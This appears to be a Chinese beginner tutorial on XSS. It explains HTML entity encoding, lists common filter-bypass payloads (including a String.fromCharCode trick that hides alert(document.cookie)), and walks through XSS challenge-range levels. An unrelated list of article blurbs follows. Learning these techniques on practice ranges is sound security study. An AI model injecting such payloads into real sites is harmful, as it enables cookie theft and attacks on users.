网安入门18-XSS(靶场实战)
HTML实体化编码
为了避免 XSS 攻击,会将<>编码为<与>,这些就是 HTML 实体编码。
| 编码前 | 编码后 |
|---|---|
| 不可分的空格 | |
| < (小于符号) | < |
| > (大于符号) | > |
| & (与符号) | & |
| ″ (双引号) | " |
| ’ (单引号) | ' |
| © (版权符号) | © |
he.encode('<img src=""></img>') // "<img src=""></img>"// 转义
he.escape('<img src=""></img>') // "<img src=""></img>"
常见的绕过payload
<img src="x" onerror=alert(1)>
<img src=1 οnmοuseοver=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg onload=alert(1)>
<input name="name" value="" οnmοuseοver=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)>(实体化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" οnerrοr=location="javascript:alert(1)”>
<img src="1" οnerrοr=location="javascript:alert%281%29”>
靶场实战(一)
欢迎来到XSS挑战
Level 1
通过观察页面,猜测因该是一个传参name=test可以下手

查看页面源代码

从这里我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间,第一关没有过滤
payload:name=<script>alert('xss')</script>
Level 2
一个搜索框,故技重施失败了,判断他有过滤

查看源代码,上面一行是查询的回显,可以看到被实体化编码了,下面一行被双引号包裹

上面的实体化编码无法绕过了,现在的目标转化为下面一行,那就是闭合!
payload: "><script>alert(1)</script>//
或者 "><script>alert(1)</script><
实测也可以不用注释后面的">,说明HTML属于弱类型,校验不严格,另外查看这关源代码,调用的函数是 htmlspecialchars() 它的作用就是让 < 和 > 被HTML实体化编码
PHP htmlspecialchars() 函数
Level 3
还是搜索框,故技重施x2,无果,看源代码

这波看似没办法搞了,两边都被实体化了

仔细一想,两个尖括号以及被ban掉,
特殊事件 onmouseover onclick onfocuse 的介绍链接:
HTML onmouseover 事件属性 | 菜鸟教程
HTML onclick 事件属性 | 菜鸟教程
HTML onfocus 事件属性 | 菜鸟教程
| 函数 | 效果 |
|---|---|
| οnmοuseοver=alert(1) | 鼠标指针移至图片之上时弹窗 |
| οnclick=alert(1) | 输入域获得焦点时弹窗 |
| οnfοcus=alert(1) | 单击鼠标时弹窗 |
还有一个问题就是闭合这两个引号,闭合前面的,注释或者闭合后面的,这里跟上一关的标签闭合不一样,是比较严格的,不闭合属性中的值会无法执行
payload:' onmouseover=alert(1) //
或者: ' onmouseover=alert(1) x='
靶场实战(二)
alert(1)
0x00
啥也没有直接来吧

0x01
前面的<textarea>标签有个特性,无法创建其他标签,那就闭合掉

0x02
input标签,直接onmouseover+闭合连招,
还有种方法是闭合+新开标签 "> <script>alert(1)</script>
当然也可以用"><img src="x" onerror="alert(1)">也是很好用的

0x03
过滤了左右括号 () 那就用反引号`绕过

相关文章:
网安入门18-XSS(靶场实战)
HTML实体化编码 为了避免 XSS 攻击,会将<>编码为<与>,这些就是 HTML 实体编码。 编码前编码后不可分的空格 < (小于符号)< > (大于符号)> & (与符号)&″ (双引号)"’ (单引号)'© (版权符…...
爬虫的一些小技巧总结
一、在爬虫中,爬取的数据类型如下 1.document:返回的是一个HTML文档 2.png:无损的图片,jpg:压缩后的图片,wbep:有损压缩,比png差,比jpg好 3.avgxml图像编码字符串 4.script:脚本文件,依据一定格式编写的可执行的文…...
LeetCode---386周赛
题目列表 3046. 分割数组 3047. 求交集区域内的最大正方形面积 3048. 标记所有下标的最早秒数 I 3049. 标记所有下标的最早秒数 II 一、分割数组 这题简单的思维题,要想将数组分为两个数组,且分出的两个数组中数字不会重复,很显然一个数…...
React之数据绑定以及表单处理
一、表单元素 像<input>、<textarea>、<option>这样的表单元素不同于其他元素,因为他们可以通过用户交互发生变化。这些元素提供的界面使响应用户交互的表单数据处理更加容易 交互属性,用户对一下元素交互时通过onChange回调函数来监听…...
Siamrpn++论文中文翻译(详细!)
SiamRPN: Evolution of Siamese Visual Tracking with Very Deep Networks SiamRPN:具有非常深度网络的Siamese视觉跟踪的进化 【siamrpn论文地址】 https://arxiv.org/abs/1812.11703 摘要 基于Siamese网络的跟踪器将跟踪表示为目标模板和搜索区域之间的卷积特征…...
第一篇【传奇开心果系列】Python的自动化办公库技术点案例示例:深度解读Pandas库
传奇开心果博文系列 系列博文目录Python的自动化办公库技术点案例示例系列 博文目录前言一、主要特点和功能介绍二、Series 示例代码三、DataFrame示例代码四、数据导入/导出示例代码五、数据清洗示例代码六、数据选择和过滤示例代码七、数据合并和连接示例代码八、数据分组和聚…...
基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的停车位检测系统(Python+PySide6界面+训练代码)
摘要:开发停车位检测系统对于优化停车资源管理和提升用户体验至关重要。本篇博客详细介绍了如何利用深度学习构建一个停车位检测系统,并提供了完整的实现代码。该系统基于强大的YOLOv8算法,并结合了YOLOv7、YOLOv6、YOLOv5的性能对比…...
状态模式(State Pattern)
定义 状态模式(State Pattern)是一种行为设计模式,它允许对象在其内部状态改变时改变其行为。这意味着,当对象的状态发生变化时,它的行为也会发生变化。状态模式特别适用于行为依赖于其状态的对象,而且当这…...
js之版本号排序
版本号排序 给定一个由版本号组成的数组,按照版本号由小到大排序 假如版本号如下 : ["0.1.1", "2.3.3", "0.302.1", "4.2", "4.3.5", "4.3.4.5"];原理很简单,通过自定义sort排…...
考取ORACLE数据库OCP的必要性 Oracle数据库
OCP证书是什么? OCP,全称Oracle Certified Professional,是Oracle公司的Oracle数据库DBA(Database Administrator,数据库管理员)认证课程。这是Oracle公司针对数据库管理领域设立的一项认证课程,旨在评估和…...
WordPress通过宝塔面板的入门安装教程【保姆级】
WordPress安装教程【保姆级】【宝塔面板】 前言一:安装环境二:提前准备三:域名解析四:开始安装五:安装成功 前言 此教程适合新手,即使不懂代码,也可轻松安装wordpress 一:安装环…...
Leetcoder Day25| 回溯part05:子集+排列
491.递增子序列 给定一个整型数组, 你的任务是找到所有该数组的递增子序列,递增子序列的长度至少是2。 示例: 输入:[4, 7, 6, 7]输出: [[4, 6], [4, 7], [4, 6, 7], [6, 7], [7,7], [4,7,7]] 说明: 给定数组的长度不会超过15。数组中的整数范围是 [-100,100]。给定数…...
【HTML】HTML基础5(特殊字符)
目录 特殊字符的作用 常用的特殊字符 使用效果 特殊字符的作用 例如 当我在两个文字间打出空格时 <p>“银河护卫队”系列 在漫威电影宇宙中一直是异数般的存在,不仅因为影片主角是一群反英雄,<strong>与超级英雄相比显得格格不入<…...
MacBook将iPad和iPhone备份到移动硬盘
#创作灵感# 一个是ICloud不够用,想备份到本地;然而本地存储不够用,增加容量巨贵,舍不得这个钱,所以就想着能不能备份到移动硬盘。刚好有个移动固态,所以就试了一下,还真可以。 #正文# 说一下逻…...
贪心 Leetcode 376 摆动序列
摆动序列 Leetcode 376 学习记录自代码随想录 如果连续数字之间的差严格地在正数和负数之间交替,则数字序列称为 摆动序列 。第一个差(如果存在的话)可能是正数或负数。仅有一个元素或者含两个不等元素的序列也视作摆动序列。 例如&#…...
蓝桥杯(3.1)
92. 递归实现指数型枚举 import java.util.Scanner;public class Main {static int N 16;static int n;static int[] st new int[N]; public static void dfs(int u) {if(u > n) {for(int i1;i<n;i) {if(st[i] 1)System.out.print(i" ");}System.out.print…...
像用Excel一样用Python:pandasGUI
文章目录 启动数据导入绘图 启动 众所周知,pandas是Python中著名的数据挖掘模块,以处理表格数据著称,并且具备一定的可视化能力。而pandasGUI则为pandas打造了一个友好的交互窗口,有了这个,就可以像使用Excel一样使用…...
C#面:Application , Cookie 和 Session 会话有什么不同
Application、Cookie 和 Session 是在Web开发中常用的三种会话管理方式 Application(应用程序): Application 是在服务器端保存数据的一种方式,它可以在整个应用程序的生命周期内共享数据。Application 对象是在应用程序启动时创…...
BUUCTF---数据包中的线索1
1.题目描述 2.下载附件,是一个.pcap文件 3.放在wireshark中,仔细观察数据流,会发现有个叫fenxi.php的数据流 4.这条数据流是http,且使用GET方式,接下来我们使用http.request,methodGET 命令来过滤数据流 5.在分析栏中我们追踪htt…...
【数仓】kafka软件安装及集群配置
相关文章 【数仓】基本概念、知识普及、核心技术【数仓】数据分层概念以及相关逻辑【数仓】Hadoop软件安装及使用(集群配置)【数仓】Hadoop集群配置常用参数说明【数仓】zookeeper软件安装及集群配置 一、环境准备 准备3台虚拟机 Hadoop131ÿ…...
Qt打印报表避坑指南:如何用QPrinter设置A4纸横向/纵向并实现精准分页?
Qt报表打印实战:精准控制A4纸方向与分页的7个关键技巧 在开发企业级应用时,报表打印功能往往是刚需,但也是最容易出问题的环节之一。最近接手一个财务系统项目时,就遇到了这样的场景:客户要求将月度对账单导出为PDF&am…...
终极指南:解决Faiss在AIX平台的大端序兼容性问题
终极指南:解决Faiss在AIX平台的大端序兼容性问题 【免费下载链接】faiss A library for efficient similarity search and clustering of dense vectors. 项目地址: https://gitcode.com/GitHub_Trending/fa/faiss Faiss作为高效的向量相似性搜索与聚类库&am…...
RedTeam_BlueTeam_HW蓝队视角:如何构建坚不可摧的安全防线
RedTeam_BlueTeam_HW蓝队视角:如何构建坚不可摧的安全防线 【免费下载链接】RedTeam_BlueTeam_HW 红蓝对抗以及护网相关工具和资料,内存shellcode(csmsf)和内存马查杀工具 项目地址: https://gitcode.com/gh_mirrors/re/RedTeam…...
Wise Care 365 优化工具安装教程:安装+系统优化工具
一、工具简介 Wise Care 365 是一款集系统清理、注册表修复、磁盘碎片整理及隐私保护于一体的 Windows 优化工具。 安装包下载:https://pan.quark.cn/s/36a0dcbfcf38 二、使用步骤 1. 解压工具包 右键点击【WiseCare...】压缩包 → 选择【解压到 WiseCare36…...
Coqui STT语言模型构建:如何创建高效的语音识别评分器
Coqui STT语言模型构建:如何创建高效的语音识别评分器 【免费下载链接】STT 🐸STT - The deep learning toolkit for Speech-to-Text. Training and deploying STT models has never been so easy. 项目地址: https://gitcode.com/gh_mirrors/st/STT …...
AI民主化:让每个人都能开发AI应用,是理想还是泡沫?
在人工智能(AI)技术飞速发展的今天,“AI民主化”已成为热门议题——它承诺让非专业开发者也能轻松创建AI应用,打破技术壁垒。然而,作为软件测试从业者,我们不禁要问:这究竟是推动创新的理想愿景…...
2026年04月10日最热门的开源项目(Github)
根据本期榜单的数据分析,我们可以从几个角度进行探讨,包括项目的语言、介绍、当前Stars及热度等。 1. 项目语言分布 此榜单中的项目主要集中在Python和JavaScript等常用语言上,其中Python项目数量较多。可以观察到Python的丰富生态和广泛应…...
springboot基于uniapp的电竞社区论坛交流系统 小程序
目录同行可拿货,招校园代理 ,本人源头供货商功能模块划分电竞特色功能技术实现要点运营辅助功能项目技术支持源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作同行可拿货,招校园代理 ,本人源头供货商 功能模块划分 用户管理模块 注册登录&…...
别再踩坑了!在Rancher里用Deployment部署Redis集群,Pod重启IP变动的终极解决方案
在Kubernetes中稳定部署Redis集群的实战指南 为什么Deployment不适合部署Redis集群? Redis作为典型的有状态服务,在Kubernetes环境中部署时面临着独特的挑战。许多开发者习惯性地使用Deployment控制器来部署Redis,这其实是一个常见的误区。问…...
Python+scikit-fuzzy实战:5分钟搞定电机速度模糊控制(附完整代码)
Pythonscikit-fuzzy实战:5分钟搞定电机速度模糊控制(附完整代码) 最近在开发一个智能小车项目时,遇到了电机速度控制的难题。传统PID控制虽然稳定,但面对复杂路况时响应总是不够理想。尝试改用模糊控制后,发…...
